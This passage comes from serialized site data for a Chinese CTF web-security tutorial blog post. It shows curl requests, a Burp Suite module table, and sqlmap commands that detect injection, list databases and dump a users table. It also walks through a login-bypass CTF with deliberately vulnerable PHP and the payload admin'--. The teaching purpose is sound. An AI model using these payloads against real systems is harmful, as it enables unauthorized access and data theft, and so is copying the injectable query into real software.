是否带上）。\n",[29,14121,14122,14134,14139,14144],{"__ignoreMap":27},[32,14123,14124,14126,14128,14130,14132],{"class":34,"line":35},[32,14125,5455],{"class":38},[32,14127,12784],{"class":240},[32,14129,5458],{"class":411},[32,14131,5461],{"class":42},[32,14133,5464],{"class":411},[32,14135,14136],{"class":34,"line":46},[32,14137,14138],{"class":2549},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[32,14140,14141],{"class":34,"line":69},[32,14142,14143],{"class":2549},"# \u003C 开头是响应行与响应头，最后是正文。\n",[32,14145,14146],{"class":34,"line":79},[32,14147,14148],{"class":2549},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[15,14150,14151,14152,14154,14155,14157],{},"输出中 ",[29,14153,13813],{}," 开头的是请求，",[29,14156,6843],{}," 开头的是响应，最下面是正文。",[15,14159,14160,14161,9635],{},"功能 3：POST 数据（",[29,14162,14163],{},"-d",[22,14165,14167],{"className":24,"code":14166,"language":26,"meta":27,"style":27},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[29,14168,14169],{"__ignoreMap":27},[32,14170,14171,14173,14176,14179,14181,14184,14186,14188,14190,14193],{"class":34,"line":35},[32,14172,5455],{"class":38},[32,14174,14175],{"class":240}," -X",[32,14177,14178],{"class":42}," POST",[32,14180,5458],{"class":411},[32,14182,14183],{"class":42},"http://127.0.0.1:8000/login.php",[32,14185,6098],{"class":411},[32,14187,367],{"class":240},[32,14189,5458],{"class":411},[32,14191,14192],{"class":42},"username=admin&password=123",[32,14194,5464],{"class":411},[15,14196,14197],{},"用于登录、上传等需要 POST 的场景。",[10,14199,14201],{"id":14200},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[15,14203,14204],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[489,14206,14207,14220],{},[492,14208,14209],{},[495,14210,14211,14214,14217],{},[498,14212,14213],{},"模块",[498,14215,14216],{},"用途",[498,14218,14219],{},"操作步骤",[505,14221,14222,14237,14248],{},[495,14223,14224,14227,14230],{},[510,14225,14226],{},"Proxy",[510,14228,14229],{},"拦截请求",[510,14231,14232,14233,14236],{},"浏览器设置代理 ",[29,14234,14235],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[495,14238,14239,14242,14245],{},[510,14240,14241],{},"Repeater",[510,14243,14244],{},"手工重放",[510,14246,14247],{},"拦截到的请求右键 → Send to Repeater；修改参数 → Send，右侧看响应，可反复对比",[495,14249,14250,14253,14256],{},[510,14251,14252],{},"Intruder",[510,14254,14255],{},"自动化遍历",[510,14257,14258],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[15,14260,14261],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[10,14263,14265],{"id":14264},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[15,14267,14268],{},"SQL 注入自动化工具。三个核心命令：",[15,14270,14271],{},"命令 1：检测。",[22,14273,14274],{"className":24,"code":6081,"language":26,"meta":27,"style":27},[29,14275,14276],{"__ignoreMap":27},[32,14277,14278,14280,14282,14284,14286,14288],{"class":34,"line":35},[32,14279,6088],{"class":38},[32,14281,6091],{"class":240},[32,14283,5458],{"class":411},[32,14285,5461],{"class":42},[32,14287,6098],{"class":411},[32,14289,6101],{"class":240},[15,14291,421],{},[22,14293,14295],{"className":14294,"code":6107,"language":174,"meta":27},[172],[29,14296,6107],{"__ignoreMap":27},[15,14298,14299],{},"命令 2：列数据库。",[22,14301,14302],{"className":24,"code":6116,"language":26,"meta":27,"style":27},[29,14303,14304],{"__ignoreMap":27},[32,14305,14306,14308,14310,14312,14314,14316],{"class":34,"line":35},[32,14307,6088],{"class":38},[32,14309,6091],{"class":240},[32,14311,5458],{"class":411},[32,14313,5461],{"class":42},[32,14315,6098],{"class":411},[32,14317,6133],{"class":240},[15,14319,14320,14321,300],{},"预期输出：数据库列表，包含 ",[29,14322,1369],{},[15,14324,14325],{},"命令 3：导出数据。",[22,14327,14328],{"className":24,"code":6145,"language":26,"meta":27,"style":27},[29,14329,14330],{"__ignoreMap":27},[32,14331,14332,14334,14336,14338,14340,14342,14344,14346,14348,14350],{"class":34,"line":35},[32,14333,6088],{"class":38},[32,14335,6091],{"class":240},[32,14337,5458],{"class":411},[32,14339,5461],{"class":42},[32,14341,6098],{"class":411},[32,14343,6162],{"class":240},[32,14345,6165],{"class":42},[32,14347,6168],{"class":240},[32,14349,6171],{"class":42},[32,14351,6174],{"class":240},[15,14353,168,14354,14356,14357,300],{},[29,14355,3279],{}," 表内容，即 ",[29,14358,5808],{},[10,14360,14362],{"id":14361},"九小-ctf-实战登录绕过","九、小 CTF 实战：登录绕过",[15,14364,14365,14366,14369],{},"题目：登录页 ",[29,14367,14368],{},"login.php","，源码：",[22,14371,14373],{"className":5222,"code":14372,"language":5224,"meta":27,"style":27},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[29,14374,14375,14380,14385],{"__ignoreMap":27},[32,14376,14377],{"class":34,"line":35},[32,14378,14379],{},"$user = $_POST['user'];\n",[32,14381,14382],{"class":34,"line":46},[32,14383,14384],{},"$pass = $_POST['pass'];\n",[32,14386,14387],{"class":34,"line":69},[32,14388,14389],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[146,14391,14393],{"id":14392},"第一步正常登录失败","第一步：正常登录失败",[15,14395,14396,14398],{},[135,14397,137],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[22,14400,14402],{"className":24,"code":14401,"language":26,"meta":27,"style":27},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[29,14403,14404],{"__ignoreMap":27},[32,14405,14406,14408,14410,14412,14414,14417,14419,14422,14424,14427],{"class":34,"line":35},[32,14407,5455],{"class":38},[32,14409,14175],{"class":240},[32,14411,14178],{"class":42},[32,14413,5458],{"class":411},[32,14415,14416],{"class":42},"http://target/login.php",[32,14418,6098],{"class":411},[32,14420,14421],{"class":240}," --data",[32,14423,5458],{"class":411},[32,14425,14426],{"class":42},"user=admin&pass=wrong",[32,14428,5464],{"class":411},[15,14430,297,14431,300],{},[29,14432,14433],{},"Login failed",[146,14435,14437],{"id":14436},"第二步构造绕过","第二步：构造绕过",[15,14439,14440,14442,14443,14446],{},[135,14441,143],{},"：观察源码 ",[29,14444,14445],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[15,14448,14449,14451,14452,14454,14455,263,14458,14461,14462,3843,14464,9635],{},[135,14450,647],{},"：发送 payload 后看是否从 ",[29,14453,14433],{}," 变成成功页面；若失败，尝试 ",[29,14456,14457],{},"admin'#",[29,14459,14460],{},"admin'-- "," 等不同注释符（MySQL 支持 ",[29,14463,13532],{},[29,14465,14466],{},"#",[15,14468,152],{},[22,14470,14472],{"className":24,"code":14471,"language":26,"meta":27,"style":27},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[29,14473,14474],{"__ignoreMap":27},[32,14475,14476,14478,14480,14482,14484,14486,14488,14490,14492,14495],{"class":34,"line":35},[32,14477,5455],{"class":38},[32,14479,14175],{"class":240},[32,14481,14178],{"class":42},[32,14483,5458],{"class":411},[32,14485,14416],{"class":42},[32,14487,6098],{"class":411},[32,14489,14421],{"class":240},[32,14491,5458],{"class":411},[32,14493,14494],{"class":42},"user=admin'--+&pass=wrong",[32,14496,5464],{"class":411},[15,14498,14499],{},"实际执行的 SQL：",[22,14501,14503],{"className":5249,"code":14502,"language":5251,"meta":27,"style":27},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[29,14504,14505],{"__ignoreMap":27},[32,14506,14507],{"class":34,"line":35},[32,14508,14502],{},[15,14510,14511,14513,14514,14517],{},[29,14512,13532],{}," 注释掉密码部分。预期输出：",[29,14515,14516],{},"Login success"," 和 flag。",[15,14519,14520,14523,14524,14527,14528,14531],{},[135,14521,14522],{},"为什么能成功","：数据库中确实存在 ",[29,14525,14526],{},"admin"," 用户，查询 ",[29,14529,14530],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[146,14533,14535],{"id":14534},"第三步sqlmap-验证","第三步：sqlmap 验证",[15,14537,14538,14540],{},[135,14539,137],{},"：用工具确认手工结论，同时自动探测其他注入点。",[22,14542,14544],{"className":24,"code":14543,"language":26,"meta":27,"style":27},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[29,14545,14546,14569,14574,14579],{"__ignoreMap":27},[32,14547,14548,14550,14552,14554,14556,14558,14560,14562,14565,14567],{"class":34,"line":35},[32,14549,6088],{"class":38},[32,14551,6091],{"class":240},[32,14553,5458],{"class":411},[32,14555,14416],{"class":42},[32,14557,6098],{"class":411},[32,14559,14421],{"class":240},[32,14561,5458],{"class":411},[32,14563,14564],{"class":42},"user=a&pass=b",[32,14566,6098],{"class":411},[32,14568,6101],{"class":240},[32,14570,14571],{"class":34,"line":46},[32,14572,14573],{"class":2549},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[32,14575,14576],{"class":34,"line":69},[32,14577,14578],{"class":2549},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[32,14580,14581],{"class":34,"line":79},[32,14582,14583],{"class":2549},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[15,14585,14586,14587,14590],{},"预期输出：报告 ",[29,14588,14589],{},"Parameter: user (POST)"," 存在注入。",[10,14592,3197],{"id":3196},[15,14594,14595],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[1349,14597,14598],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":27,"searchDepth":46,"depth":46,"links":14600},[14601,14602,14603,14604,14605,14606,14607,14608,14609,14610],{"id":12768,"depth":69,"text":12769},{"id":12876,"depth":69,"text":12877},{"id":12974,"depth":69,"text":12975},{"id":13569,"depth":69,"text":13570},{"id":13862,"depth":69,"text":13863},{"id":14086,"depth":69,"text":14087},{"id":14200,"depth":69,"text":14201},{"id":14264,"depth":69,"text":14265},{"id":14361,"depth":69,"text":14362},{"id":3196,"depth":69,"text":3197},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。",{"date":1365,"image":14613,"alt":14614,"tags":14615,"published":1372},"/blogs-img/blog9.png","CTF Web 入门",[1369,6608,1371],"/blogs/ctf-web-overview",{"title":12763,"description":14611},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",1786796567266]